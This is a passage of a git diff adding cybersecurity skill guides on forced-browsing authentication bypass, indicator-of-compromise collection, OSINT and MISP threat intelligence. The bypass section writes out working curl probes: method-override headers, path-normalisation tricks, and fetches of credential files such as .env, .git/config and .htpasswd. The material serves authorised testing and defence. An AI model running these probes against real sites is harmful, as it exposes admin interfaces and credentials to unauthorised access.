"%{http_code}" \ + "https://target.example.com/admin/dashboard" + +# Test with valid session cookie +curl -s -o /dev/null -w "%{http_code}" \ + -b "session=valid_session_token_here" \ + "https://target.example.com/admin/dashboard" + +# Automated check: compare response sizes +# Unauthenticated request +curl -s "https://target.example.com/admin/users" | wc -c + +# Authenticated request +curl -s -b "session=valid_token" \ + "https://target.example.com/admin/users" | wc -c + +# If both return similar content, authentication is not enforced + +# Test with Burp Intruder: send a list of discovered URLs +# without cookies and flag any 200 responses +``` + +### Step 4: Test HTTP Method-Based Authentication Bypass + +Some applications only enforce authentication for specific HTTP methods. + +```bash +# Test different HTTP methods on protected endpoints +for method in GET POST PUT DELETE PATCH OPTIONS HEAD TRACE; do + echo -n "$method: " + curl -s -o /dev/null -w "%{http_code}" \ + -X "$method" "https://target.example.com/admin/settings" +done + +# Test HTTP method override headers +curl -s -o /dev/null -w "%{http_code}" \ + -X POST \ + -H "X-HTTP-Method-Override: GET" \ + "https://target.example.com/admin/settings" + +curl -s -o /dev/null -w "%{http_code}" \ + -H "X-Original-Method: GET" \ + -H "X-Rewrite-URL: /admin/settings" \ + "https://target.example.com/" +``` + +### Step 5: Test Path Traversal and URL Normalization Bypass + +Exploit URL parsing differences to bypass path-based authentication rules. + +```bash +# Path normalization bypass attempts +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/ADMIN/dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/./dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/public/../admin/dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin%2fdashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/;/admin/dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin;anything/dashboard" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/.;/admin/dashboard" + +# Double URL encoding +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/%2561dmin/dashboard" + +# Trailing characters +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard/" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard.json" +curl -s -o /dev/null -w "%{http_code}" "https://target.example.com/admin/dashboard%00" +``` + +### Step 6: Discover Backup and Configuration Files + +Search for sensitive files inadvertently exposed on the web server. + +```bash +# Backup file discovery +ffuf -u https://target.example.com/FUZZ \ + -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ + -e .bak,.old,.orig,.save,.swp,.tmp,.dist,.config,.sql,.gz,.tar,.zip \ + -mc 200 -t 50 -rate 100 + +# Common sensitive files +for file in .env .git/config .git/HEAD .svn/entries \ + web.config wp-config.php.bak config.php.old \ + database.yml .htpasswd server-status phpinfo.php \ + robots.txt sitemap.xml crossdomain.xml; do + status=$(curl -s -o /dev/null -w "%{http_code}" \ + "https://target.example.com/$file") + if [ "$status" != "404" ]; then + echo "FOUND ($status): $file" + fi +done + +# Git repository exposure check +curl -s "https://target.example.com/.git/HEAD" +# If this returns "ref: refs/heads/main", the git repo is exposed +``` + +## Key Concepts + +| Concept | Description | +|---------|-------------| +| **Forced Browsing** | Directly accessing URLs that are not linked but exist on the server | +| **Directory Enumeration** | Brute-forcing directory and file names against a wordlist to discover hidden content | +| **Authentication Bypass** | Accessing protected resources without valid credentials due to missing access checks | +| **Path Normalization** | Exploiting differences in how web servers and application frameworks parse URL paths | +| **Method-based Bypass** | Using alternative HTTP methods (PUT, DELETE) that may not have authentication checks | +| **Information Disclosure** | Exposure of sensitive configuration files, backups, or debug interfaces | +| **Defense in Depth** | Layered security controls where authentication is enforced at multiple levels | + +## Tools & Systems + +| Tool | Purpose | +|------|---------| +| **ffuf** | Fast web fuzzer for directory, file, and parameter enumeration | +| **Gobuster** | Directory and DNS brute-forcing tool written in Go | +| **Feroxbuster** | Recursive content discovery tool with automatic recursion | +| **DirBuster** | OWASP Java-based directory brute-force tool with GUI | +| **Burp Suite** | HTTP proxy for request interception and automated scanning | +| **SecLists** | Comprehensive collection of wordlists for security testing | + +## Common Scenarios + +### Scenario 1: Exposed Admin Panel +An admin panel at `/admin/` is only hidden by not being linked in the navigation. Direct URL access reveals the full administrative interface without any authentication check. + +### Scenario 2: Unprotected API Endpoints +API endpoints at `/api/v1/users` and `/api/v1/settings` require authentication in the frontend application but the backend API does not enforce session validation, allowing unauthenticated direct access. + +### Scenario 3: Backup File Containing Credentials +A developer left `config.php.bak` on the production server. This backup file contains database credentials in plaintext, discovered through extension-based enumeration. + +### Scenario 4: Spring Boot Actuator Exposure +The `/actuator/env` endpoint is exposed without authentication, revealing environment variables including database connection strings, API keys, and secrets. + +## Output Format + +``` +## Forced Browsing / Authentication Bypass Finding + +**Vulnerability**: Missing Authentication on Administrative Interface +**Severity**: Critical (CVSS 9.1) +**Location**: /admin/dashboard (GET, no authentication required) +**OWASP Category**: A01:2021 - Broken Access Control + +### Discovered Unprotected Resources +| Path | Status | Auth Required | Content | +|------|--------|---------------|---------| +| /admin/dashboard | 200 | No | Full admin panel | +| /admin/users | 200 | No | User management | +| /actuator/env | 200 | No | Environment variables | +| /config.php.bak | 200 | No | Database credentials | +| /.git/HEAD | 200 | No | Git repository metadata | + +### Impact +- Unauthenticated access to administrative functions +- Ability to create, modify, and delete user accounts +- Exposure of database credentials and API keys +- Full source code disclosure via exposed Git repository + +### Recommendation +1. Implement authentication checks at the server/middleware level for all admin routes +2. Remove backup files, debug endpoints, and version control metadata from production +3. Configure web server to deny access to sensitive file extensions (.bak, .old, .env, .git) +4. Implement IP-based access restrictions for administrative interfaces +5. Use a reverse proxy to restrict access to internal-only endpoints +``` diff --git a/skills/collecting-indicators-of-compromise/SKILL.md b/skills/collecting-indicators-of-compromise/SKILL.md new file mode 100644 index 00000000..36c2cd65 --- /dev/null +++ b/skills/collecting-indicators-of-compromise/SKILL.md @@ -0,0 +1,254 @@ +--- +name: collecting-indicators-of-compromise +description: > + Systematically collects, categorizes, and distributes indicators of compromise (IOCs) + during and after security incidents to enable detection, blocking, and threat intelligence + sharing. Covers network, host, email, and behavioral indicators using STIX/TAXII + formats and threat intelligence platforms. Activates for requests involving IOC collection, + indicator extraction, threat indicator sharing, compromise indicators, STIX export, + or IOC enrichment. +domain: cybersecurity +subdomain: incident-response +tags: [IOC-collection, threat-indicators, STIX-TAXII, MISP, threat-intelligence-sharing] +version: 1.0.0 +author: mahipal +license: MIT +--- + +# Collecting Indicators of Compromise + +## When to Use + +- During active incident response to identify and block adversary infrastructure +- Post-incident to document all observed adversary artifacts for future detection +- When sharing threat intelligence with ISACs, sector partners, or law enforcement +- When building detection rules in SIEM, EDR, or network security tools +- When enriching IOCs with threat intelligence context for risk scoring + +**Do not use** for behavioral TTP analysis without accompanying technical indicators; use MITRE ATT&CK mapping for behavioral characterization. + +## Prerequisites + +- Access to incident evidence sources: SIEM logs, EDR telemetry, memory dumps, disk images, network captures +- Threat intelligence platform (MISP, OpenCTI, ThreatConnect) for IOC management and sharing +- IOC enrichment tools: VirusTotal, OTX (AlienVault Open Threat Exchange), Shodan, DomainTools +- STIX 2.1 knowledge for structured IOC representation +- Sharing agreements with relevant ISACs (FS-ISAC, H-ISAC, IT-ISAC) or sector partners + +## Workflow + +### Step 1: Identify IOC Categories + +Collect indicators across all categories from incident evidence: + +**Network Indicators:** +- IP addresses (C2 servers, staging servers, exfiltration destinations) +- Domain names (C2 domains, phishing domains, DGA domains) +- URLs (malware download, C2 check-in, exfiltration endpoints) +- JA3/JA3S hashes (TLS client/server fingerprints) +- User-Agent strings (custom or unusual HTTP headers) +- DNS query patterns (tunneling signatures, DGA patterns) + +**Host Indicators:** +- File hashes (MD5, SHA-1, SHA-256 of malware, tools, scripts) +- File paths (known malware installation directories) +- Registry keys (persistence mechanisms, configuration storage) +- Scheduled tasks and service names (persistence) +- Mutex/event names (malware instance synchronization) +- Named pipes (C2 communication channels, e.g., Cobalt Strike) + +**Email Indicators:** +- Sender addresses and domains (spoofed or attacker-controlled) +- Subject lines and body content patterns +- Attachment names and hashes +- Embedded URLs +- Email header anomalies (SPF/DKIM/DMARC failures) + +### Step 2: Extract IOCs from Evidence Sources + +Systematically extract indicators from each evidence source: + +**From SIEM/Log Analysis:** +``` +# Extract unique destination IPs from firewall logs +index=firewall action=blocked +| stats count by dest_ip +| where count > 100 + +# Extract domains from DNS query logs +index=dns query=*evil* OR query=*c2* +| stats count by query +``` + +**From Memory Forensics:** +```bash +# Extract network connections +vol -f memory.raw windows.netscan | grep ESTABLISHED + +# Extract strings from suspicious process memory +vol -f memory.raw windows.memmap --pid 3847 --dump +strings -n 8 pid.3847.dmp | grep -E "(http|https)://" +``` + +**From Malware Analysis:** +``` +Sandbox Report IOC Extraction: +- Dropped files: 3 (hashes extracted) +- DNS queries: update.evil[.]com, cdn.malware[.]net +- HTTP connections: POST to https://185.220.101[.]42/gate.php +- Registry modified: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\svcupdate +- Mutex created: Global\MTX_0x1234ABCD +- Named pipe: \\.\pipe\MSSE-1234-server +``` + +### Step 3: Enrich IOCs with Context + +Add threat intelligence context to each indicator: + +``` +IOC Enrichment Report: +━━━━━━━━━━━━━━━━━━━━━ +IP: 185.220.101.42 + VirusTotal: 12/89 vendors flag as malicious + Shodan: Open ports: 443, 8443, 80 + Geolocation: Netherlands, AS208476 + First Seen: 2025-10-01 + Threat Intel: Associated with Qakbot C2 infrastructure + Confidence: High + TLP: AMBER + +Domain: update.evil[.]com + Registration: 2025-10-28 (recently registered) + Registrar: Namecheap + WHOIS Privacy: Yes + VirusTotal: 8/89 vendors flag as malicious + DNS History: Resolved to 185.220.101.42, 91.215.85.17 + Confidence: High + TLP: AMBER +``` + +### Step 4: Score and Prioritize IOCs + +Assign confidence and risk scores to each indicator: + +| Score | Confidence Level | Criteria | +|-------|-----------------|----------| +| 90-100 | Confirmed Malicious | Multiple TI sources confirm, observed in active attack | +| 70-89 | Highly Suspicious | Single TI source confirms, behavioral analysis supports | +| 50-69 | Suspicious | Limited TI data, contextually suspicious | +| 30-49 | Unconfirmed | No TI matches, but anomalous in environment | +| 0-29 | Likely Benign | False positive indicators or legitimate infrastructure | + +### Step 5: Distribute IOCs for Detection and Blocking + +Push IOCs to defensive systems for immediate protection: + +- **Firewall/IPS**: Block C2 IPs and domains +- **DNS**: Sinkhole malicious domains +- **EDR**: Add file hashes to blocklist, create custom IOC watchlists +- **Email Gateway**: Block sender domains, attachment hashes, malicious URLs +- **SIEM**: Create correlation searches for IOC matches +- **Web Proxy**: Block URLs and domains in web filtering policy + +### Step 6: Share IOCs with Partners + +Package IOCs in STIX 2.1 format for sharing: + +```json +{ + "type": "indicator", + "spec_version": "2.1", + "id": "indicator--a1b2c3d4-e5f6-7890-abcd-ef1234567890", + "created": "2025-11-15T18:00:00Z", + "modified": "2025-11-15T18:00:00Z", + "name": "Qakbot C2 Server IP", + "indicator_types": ["malicious-activity"], + "pattern": "[ipv4-addr:value = '185.220.101.42']", + "pattern_type": "stix", + "valid_from": "2025-11-15T14:23:00Z", + "confidence": 95, + "labels": ["c2", "qakbot"], + "object_marking_refs": ["marking-definition--f88d31f6-486f-44da-b317-01333bde0b82"] +} +``` + +Submit to MISP, ISAC portals, and TAXII servers per sharing agreements. + +## Key Concepts + +| Term | Definition | +|------|------------| +| **IOC (Indicator of Compromise)** | Technical artifact observed during a security incident that indicates adversary presence (hash, IP, domain, etc.) | +| **TLP (Traffic Light Protocol)** | Standard for classifying the sharing restrictions of threat intelligence: WHITE, GREEN, AMBER, AMBER+STRICT, RED | +| **STIX (Structured Threat Information Expression)** | Standard language for representing cyber threat intelligence in a structured, machine-readable format | +| **TAXII (Trusted Automated Exchange of Intelligence Information)** | Transport protocol for sharing STIX-formatted threat intelligence between organizations | +| **Confidence Score** | Numerical rating (0-100) indicating the analyst's certainty that an indicator is truly malicious | +| **IOC Lifecycle** | Process of creating, validating, distributing, and eventually retiring indicators as they lose relevance | +| **Defanging** | Practice of modifying malicious URLs and domains in reports to prevent accidental clicks (e.g., evil[.]com) | + +## Tools & Systems + +- **MISP**: Open-source threat intelligence sharing platform for managing, storing, and distributing IOCs +- **VirusTotal**: Multi-engine malware scanning and threat intelligence platform for IOC enrichment +- **OpenCTI**: Open-source cyber threat intelligence platform supporting STIX 2.1 natively +- **Yeti**: Open-source platform for organizing observables, indicators, and TTPs +- **CyberChef**: GCHQ's data transformation tool useful for decoding, defanging, and formatting IOCs + +## Common Scenarios + +### Scenario: Post-Incident IOC Package for ISAC Sharing + +**Context**: After responding to a Qakbot infection that led to Cobalt Strike deployment, the IR team must package all IOCs for sharing with the Financial Services ISAC (FS-ISAC). + +**Approach**: +1. Compile all network, host, and email indicators from the investigation +2. Enrich each IOC with VirusTotal and MISP correlation data +3. Assign confidence scores based on direct observation vs. secondary correlation +4. Mark all IOCs with TLP:AMBER for partner sharing +5. Export as STIX 2.1 bundle and submit to FS-ISAC TAXII feed +6. Create a human-readable IOC summary report for email distribution + +**Pitfalls**: +- Including internal IP addresses or hostnames in shared IOC packages (information leakage) +- Sharing IOCs at TLP:WHITE that should be restricted to TLP:AMBER +- Not defanging URLs and domains in human-readable reports +- Sharing IP addresses of legitimate CDNs or cloud providers as malicious IOCs + +## Output Format + +``` +INDICATOR OF COMPROMISE REPORT +================================ +Incident: INC-2025-1547 +Date: 2025-11-15 +TLP: AMBER +Sharing: FS-ISAC, internal SOC + +NETWORK INDICATORS +Type | Value | Confidence | Context +---------|--------------------------|------------|-------- +IPv4 | 185.220.101[.]42 | 95 | Qakbot C2 server +IPv4 | 91.215.85[.]17 | 90 | Cobalt Strike C2 +Domain | update.evil[.]com | 95 | Staging domain +URL | hxxps://185.220[.]101.42/gate.php | 95 | C2 check-in +JA3 | a0e9f5d64349fb13191bc7...| 80 | Qakbot TLS fingerprint + +HOST INDICATORS +Type | Value | Confidence | Context +---------|--------------------------|------------|-------- +SHA-256 | a1b2c3d4e5f6... | 100 | Qakbot dropper +SHA-256 | b2c3d4e5f6a7... | 100 | Cobalt Strike beacon +FilePath | C:\Users\*\AppData\Local\Temp\update.exe | 85 | Dropper location +RegKey | HKCU\...\Run\svcupdate | 90 | Persistence +Mutex | Global\MTX_0x1234ABCD | 95 | Qakbot instance lock +Task | WindowsUpdate | 90 | Scheduled task persistence + +EMAIL INDICATORS +Type | Value | Confidence | Context +---------|--------------------------|------------|-------- +Sender | billing@spoofed[.]com | 95 | Phishing sender +Subject | "Invoice-Nov2025" | 70 | Phishing subject line +Hash | c3d4e5f6a7b8... | 100 | Malicious .docm attachment + +TOTAL: 14 indicators | HIGH confidence avg: 91 +``` diff --git a/skills/collecting-open-source-intelligence/SKILL.md b/skills/collecting-open-source-intelligence/SKILL.md new file mode 100644 index 00000000..a48426c5 --- /dev/null +++ b/skills/collecting-open-source-intelligence/SKILL.md @@ -0,0 +1,130 @@ +--- +name: collecting-open-source-intelligence +description: > + Collects and synthesizes open-source intelligence (OSINT) about threat actors, malicious + infrastructure, and attack campaigns using publicly available data sources, passive reconnaissance + tools, and dark web monitoring. Use when investigating external threat actor infrastructure, + performing pre-engagement reconnaissance for authorized red team assessments, or enriching CTI + reports with publicly available adversary context. Activates for requests involving Maltego, + Shodan, OSINT framework, SpiderFoot, or infrastructure reconnaissance. +domain: cybersecurity +subdomain: threat-intelligence +tags: [OSINT, Maltego, Shodan, Recon-ng, SpiderFoot, threat-intelligence, ATT&CK-T1591, NIST-CSF] +version: 1.0.0 +author: mahipal +license: MIT +--- +# Collecting Open-Source Intelligence + +## When to Use + +Use this skill when: +- Investigating external infrastructure associated with a phishing campaign targeting your organization +- Enriching threat actor profiles with publicly observable indicators (WHOIS, ASN data, SSL certificates) +- Conducting authorized attack surface discovery to understand your organization's external exposure + +**Do not use** this skill for active scanning against targets without explicit written authorization — OSINT collection must remain passive (no packets sent to target systems) unless scope permits active recon. + +## Prerequisites + +- Maltego CE or commercial license for graph-based link analysis +- Shodan API key (https://shodan.io) for internet-wide device/service discovery +- OSINT Framework familiarity (https://osintframework.com) for tool selection +- SpiderFoot HX or open-source SpiderFoot for automated OSINT correlation + +## Workflow + +### Step 1: Define Collection Requirements + +Establish the intelligence requirement (IR) before collecting. Document: +- Target: threat actor group, malicious domain, IP range, or organization +- Priority Intelligence Requirements (PIRs): What specific questions need answering? +- Legal authority: Passive OSINT is legal; active probing requires authorization +- Data handling: TLP classification for collected intelligence + +### Step 2: Passive DNS and WHOIS Investigation + +```bash +# Passive DNS via SecurityTrails API +curl "https://api.securitytrails.com/v1/domain/evil-domain.com/dns/a" \ + -H "apikey: YOUR_KEY" + +# WHOIS history via ARIN / RIPE +whois -h whois.arin.net evil-domain.com + +# Certificate transparency logs (no API key required) +curl "https://crt.sh/?q=%.evil-domain.com&output=json" | jq '.[].name_value' +``` + +Certificate transparency logs reveal all subdomains for a target domain, often exposing staging, VPN, or internal infrastructure inadvertently made public. + +### Step 3: Shodan Infrastructure Mapping + +```python +import shodan + +api = shodan.Shodan("YOUR_SHODAN_API_KEY") + +# Search for specific C2 framework signatures (Cobalt Strike beacon) +results = api.search('product:"Cobalt Strike" port:443') +for r in results['matches']: + print(r['ip_str'], r['port'], r['org'], r.get('ssl', {}).get('cert', {}).get('subject', '')) + +# Find infrastructure associated with a known threat actor's ASN +results = api.search('asn:AS12345 http.title:"Redirector"') +``` + +Correlate Shodan results with passive DNS to build infrastructure clusters. + +### Step 4: Maltego Graph Analysis + +In Maltego, use these built-in transforms for threat actor infrastructure mapping: +1. Start with a known malicious domain (Entity: Domain) +2. Run "To IP Address [DNS]" → identifies hosting IPs +3. Run "To Shared Hosting" → identifies co-hosted domains (potentially same threat actor) +4. Run "To DNS Name [Reverse DNS]" → identifies PTR records +5. Run "To Whois" → identifies registrant email/organization +6. Pivot on registrant email → "To Domains [Registrant Email]" → expands to all domains registered with same email + +Maltego Maltego Cyber threat intelligence transforms (VirusTotal, Shodan, PassiveTotal, URLScan) extend graph coverage. + +### Step 5: Dark Web and Paste Site Monitoring + +Use SpiderFoot HX or manual searches for: +- Paste sites (Pastebin, Ghostbin): search for leaked credentials, IOCs, malware configs +- Dark web forums: via Tor browser with appropriate operational security +- GitHub/GitLab: search for exposed credentials or organization-specific strings + +```bash +# SpiderFoot CLI for automated OSINT +python sf.py -s evil-domain.com -m sfp_shodan,sfp_virustotal,sfp_passivetotal \ + -o TF -R result.json +``` + +## Key Concepts + +| Term | Definition | +|------|-----------| +| **Passive OSINT** | Intelligence collection that does not send any packets to target systems — uses public databases, search engines, cached data | +| **PIR** | Priority Intelligence Requirement — specific question the intelligence collection must answer, preventing unfocused data gathering | +| **Certificate Transparency** | Public log of all SSL/TLS certificates issued by CAs, enabling discovery of subdomains via crt.sh | +| **Pivoting** | Using one data point (IP, email, registrant name) to discover related infrastructure or accounts | +| **ASN** | Autonomous System Number — block of IP addresses under a single routing policy; useful for clustering threat actor infrastructure | +| **Co-hosted Domains** | Multiple domains resolving to the same IP, potentially indicating shared attacker infrastructure | + +## Tools & Systems + +- **Maltego**: Graph-based link analysis platform with 50+ data source transforms for IP, domain, email, and social media analysis +- **Shodan**: Internet-wide scanner database with 1B+ indexed devices; supports banner, port, SSL certificate, and vulnerability searches +- **SpiderFoot**: Automated OSINT tool with 200+ modules covering DNS, WHOIS, dark web, breach data, and social media +- **Recon-ng**: Python-based OSINT framework with modular design for domain, email, and social media reconnaissance +- **crt.sh**: Free certificate transparency search engine for subdomain and certificate discovery +- **OSINT Framework (osintframework.com)**: Curated directory of OSINT tools organized by intelligence category + +## Common Pitfalls + +- **Leaving digital footprints**: Visiting a threat actor's website or Shodan-queried IP can alert the adversary. Use Tor or VPN with a dedicated OSINT VM. +- **Confirmation bias in graph analysis**: Maltego graphs can create false connections. Verify each pivot independently before treating as confirmed. +- **Outdated data**: WHOIS privacy services and bulletproof hosting rotate frequently. Always check data timestamps — 6-month-old passive DNS may no longer be valid. +- **Attribution overconfidence**: Infrastructure overlap does not guarantee same threat actor. False flag operations deliberately share indicators across groups. +- **Legal boundaries**: Some OSINT tools perform active scans (port scanning, banner grabbing). Confirm tool behavior before use against external targets without authorization. diff --git a/skills/collecting-threat-intelligence-with-misp/SKILL.md b/skills/collecting-threat-intelligence-with-misp/SKILL.md new file mode 100644 index 00000000..5c35ac82 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/SKILL.md @@ -0,0 +1,164 @@ +--- +name: None +description: MISP (Malware Information Sharing Platform) is an open-source threat intelligence platform for gathering, sharing, storing, and correlating Indicators of Compromise (IOCs) of targeted attacks, threat +domain: cybersecurity +subdomain: threat-intelligence +tags: [threat-intelligence, cti, ioc, mitre-attack, stix, misp, taxii, threat-sharing] +version: "1.0" +author: mahipal +license: MIT +--- +# Collecting Threat Intelligence with MISP + +## Overview + +MISP (Malware Information Sharing Platform) is an open-source threat intelligence platform for gathering, sharing, storing, and correlating Indicators of Compromise (IOCs) of targeted attacks, threat intelligence, financial fraud information, vulnerability information, or counter-terrorism information. This skill covers deploying MISP, configuring threat feeds, using the PyMISP API for programmatic access, and building automated collection pipelines that aggregate IOCs from multiple community and commercial sources. + +## Prerequisites + +- Python 3.9+ with `pymisp` library installed +- Docker and Docker Compose for MISP deployment +- Understanding of STIX 2.1 and TAXII 2.1 protocols +- Familiarity with IOC types: hashes, IP addresses, domains, URLs, email addresses +- Network access to MISP community feeds (circl.lu, botvrij.eu) + +## Key Concepts + +### MISP Architecture + +MISP operates on an event-based model where threat intelligence is organized into events containing attributes (IOCs), objects (structured groupings of attributes), galaxies (threat actor/malware clusters linked to MITRE ATT&CK), and tags for classification. Synchronization between MISP instances uses a pull/push model over HTTPS with API key authentication. + +### Feed Types + +- **MISP Feeds**: Native JSON/CSV feeds from MISP community (CIRCL OSINT, botvrij.eu) +- **Freetext Feeds**: Unstructured text feeds parsed for IOCs (abuse.ch, Feodo Tracker) +- **TAXII Feeds**: STIX/TAXII 2.1 compatible feeds from commercial and government sources +- **CSV Feeds**: Structured CSV feeds with configurable column mapping + +### PyMISP API + +PyMISP is the official Python library to access MISP platforms via their REST API. It supports fetching events, adding/updating events and attributes, uploading samples, and searching across the entire MISP dataset. Authentication uses an API key passed in the `Authorization` header. + +## Practical Steps + +### Step 1: Deploy MISP with Docker + +```bash +git clone https://github.com/MISP/misp-docker.git +cd misp-docker +cp template.env .env +# Edit .env to set MISP_BASEURL, MISP_ADMIN_EMAIL, MISP_ADMIN_PASSPHRASE +docker compose up -d +``` + +### Step 2: Configure Default Feeds + +Enable built-in MISP feeds via the web UI or API: + +```python +from pymisp import PyMISP + +misp = PyMISP('https://misp.local', 'YOUR_API_KEY', ssl=False) + +# List available feeds +feeds = misp.feeds() +for feed in feeds: + print(f"{feed['Feed']['id']}: {feed['Feed']['name']} - Enabled: {feed['Feed']['enabled']}") + +# Enable CIRCL OSINT Feed +misp.enable_feed(feed_id=1) +misp.cache_feed(feed_id=1) +misp.fetch_feed(feed_id=1) +``` + +### Step 3: Add Custom Threat Feeds + +```python +# Add abuse.ch URLhaus feed +feed_data = { + 'name': 'URLhaus Recent URLs', + 'provider': 'abuse.ch', + 'url': 'https://urlhaus.abuse.ch/downloads/csv_recent/', + 'source_format': 'csv', + 'input_source': 'network', + 'publish': False, + 'enabled': True, + 'headers': '', + 'distribution': 0, + 'sharing_group_id': 0, + 'tag_id': 0, + 'default': False, + 'lookup_visible': True +} +result = misp.add_feed(feed_data) +print(f"Feed added: {result}") +``` + +### Step 4: Programmatic Event Search and Retrieval + +```python +from pymisp import PyMISP, MISPEvent +from datetime import datetime, timedelta + +misp = PyMISP('https://misp.local', 'YOUR_API_KEY', ssl=False) + +# Search for events from the last 7 days +result = misp.search( + controller='events', + date_from=(datetime.now() - timedelta(days=7)).strftime('%Y-%m-%d'), + type_attribute='ip-dst', + to_ids=True, + pythonify=True +) + +for event in result: + print(f"Event {event.id}: {event.info}") + for attr in event.attributes: + if attr.type == 'ip-dst' and attr.to_ids: + print(f" IOC: {attr.value} (category: {attr.category})") +``` + +### Step 5: Export IOCs for Downstream Tools + +```python +# Export as STIX 2.1 bundle +stix_output = misp.search( + controller='events', + return_format='stix2', + tags=['tlp:white'], + published=True +) + +# Export IDS-flagged attributes as Suricata rules +suricata_rules = misp.search( + controller='attributes', + return_format='suricata', + to_ids=True, + type_attribute=['ip-dst', 'domain', 'url'] +) + +# Export as CSV for SIEM ingestion +csv_output = misp.search( + controller='attributes', + return_format='csv', + type_attribute='ip-dst', + to_ids=True +) +``` + +## Validation Criteria + +- MISP instance is deployed and accessible via HTTPS +- At least 3 community feeds are enabled and fetching data successfully +- PyMISP script can authenticate, search events, and retrieve IOCs +- Events contain properly tagged and categorized attributes +- Export to STIX 2.1 produces valid STIX bundles +- Automated feed fetch runs on schedule (cron or MISP scheduler) + +## References + +- [MISP Project Official Site](https://www.misp-project.org/) +- [PyMISP Documentation](https://pymisp.readthedocs.io/) +- [MISP GitHub Repository](https://github.com/MISP/MISP) +- [MISP OpenAPI Specification](https://www.misp-project.org/openapi/) +- [CIRCL OSINT Feed](https://www.circl.lu/doc/misp/feed-osint/) diff --git a/skills/collecting-threat-intelligence-with-misp/assets/template.md b/skills/collecting-threat-intelligence-with-misp/assets/template.md new file mode 100644 index 00000000..2324b915 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/assets/template.md @@ -0,0 +1,107 @@ +# MISP Intelligence Collection Report Template + +## Report Metadata +| Field | Value | +|-------|-------| +| Report ID | MISP-COL-YYYY-NNNN | +| Date Generated | YYYY-MM-DD HH:MM UTC | +| MISP Instance | https://misp.example.com | +| Collection Period | YYYY-MM-DD to YYYY-MM-DD | +| Classification | TLP:AMBER | +| Analyst | [Analyst Name] | + +## Executive Summary + +Brief overview of threat intelligence collected during the reporting period, including total events processed, notable threat campaigns identified, and key IOCs requiring immediate action. + +## Collection Statistics + +| Metric | Count | +|--------|-------| +| Total Events Processed | | +| New Events Created | | +| Attributes Collected | | +| IDS-Flagged Indicators | | +| Warninglist Filtered | | +| Feeds Active | | +| Correlations Found | | + +## Feed Status + +| Feed Name | Provider | Last Fetch | Status | Events Generated | +|-----------|----------|------------|--------|-----------------| +| CIRCL OSINT | CIRCL | | Active/Error | | +| Botvrij.eu | Botvrij | | Active/Error | | +| URLhaus | abuse.ch | | Active/Error | | +| PhishTank | OpenDNS | | Active/Error | | + +## Top IOC Categories + +### Network Indicators +| Type | Count | Sample Values | +|------|-------|---------------| +| IP Addresses (dst) | | | +| IP Addresses (src) | | | +| Domains | | | +| URLs | | | +| Hostnames | | | + +### File Indicators +| Type | Count | Sample Values | +|------|-------|---------------| +| MD5 Hashes | | | +| SHA-1 Hashes | | | +| SHA-256 Hashes | | | +| Filenames | | | + +### Email Indicators +| Type | Count | Sample Values | +|------|-------|---------------| +| Email Addresses | | | +| Email Subjects | | | +| Attachment Names | | | + +## Notable Campaigns + +### Campaign 1: [Campaign Name] +- **Threat Actor**: [Actor Name/Group] +- **MITRE ATT&CK Techniques**: T1566, T1059, T1071 +- **IOC Count**: N indicators +- **First Seen**: YYYY-MM-DD +- **TLP**: AMBER +- **Key Indicators**: + - IP: x.x.x.x (C2 Server) + - Domain: malicious-domain.com + - SHA256: [hash] + +## Correlation Highlights + +Events sharing common indicators across multiple campaigns or threat actors: + +| Indicator | Events Linked | Threat Actors | Confidence | +|-----------|--------------|---------------|------------| +| | | | High/Medium/Low | + +## Export Summary + +| Format | Destination | Record Count | Timestamp | +|--------|-------------|-------------|-----------| +| STIX 2.1 | OpenCTI | | | +| Suricata Rules | IDS/IPS | | | +| CSV | SIEM (Splunk) | | | +| JSON | Threat Hunting | | | + +## Recommendations + +1. **Immediate Actions**: Block high-confidence IOCs in firewall/proxy +2. **Monitoring**: Add medium-confidence IOCs to watchlists +3. **Investigation**: Review events tagged with threat level "high" +4. **Feed Maintenance**: Review and update feed configurations +5. **Sharing**: Publish sanitized events to community instances + +## Appendix: IOC Export + +Full IOC list exported to: +- `misp_iocs_export.csv` - CSV format for SIEM ingestion +- `misp_stix_bundle.json` - STIX 2.1 bundle for CTI platforms +- `misp_suricata.rules` - Suricata IDS rules for network detection diff --git a/skills/collecting-threat-intelligence-with-misp/references/standards.md b/skills/collecting-threat-intelligence-with-misp/references/standards.md new file mode 100644 index 00000000..e476d519 --- /dev/null +++ b/skills/collecting-threat-intelligence-with-misp/references/standards.md @@ -0,0 +1,47 @@ +# Standards and Frameworks Reference + +## MISP Standards + +### MISP Core Format +- **MISP JSON Format**: Native event format used for synchronization between instances +- **MISP Galaxy**: Cluster-based knowledge base linked to MITRE ATT&CK, threat actors, tools +- **MISP Taxonomies**: Machine-readable tagging schemes (TLP, PAP, admiralty-scale, OSINT) +- **MISP Warninglists**: Lists of well-known indicators to reduce false positives (Alexa Top 1M, Office 365 IPs) + +### STIX 2.1 (Structured Threat Information Expression) +- Standard language for representing cyber threat intelligence +- MISP supports import/export of STIX 2.1 bundles +- Object types: Indicator, Malware, Threat Actor, Attack Pattern, Campaign, Observed Data +- Relationship types: uses, targets, attributed-to, indicates, mitigates + +### TAXII 2.1 (Trusted Automated Exchange of Intelligence Information) +- Transport protocol for sharing CTI over HTTPS +- MISP can consume TAXII feeds and serve as a TAXII server +- Collection-based model: discovery, API root, collections, objects +- Supports pagination and filtering by added_after, type, version + +## MITRE ATT&CK Integration +- MISP Galaxy clusters map directly to ATT&CK techniques (T-codes) +- Events can be tagged with ATT&CK tactics: Initial Access, Execution, Persistence, etc. +- ATT&CK Navigator integration for visualizing technique coverage +- Sub-technique support (e.g., T1566.001 - Spearphishing Attachment) + +## Traffic Light Protocol (TLP) +- 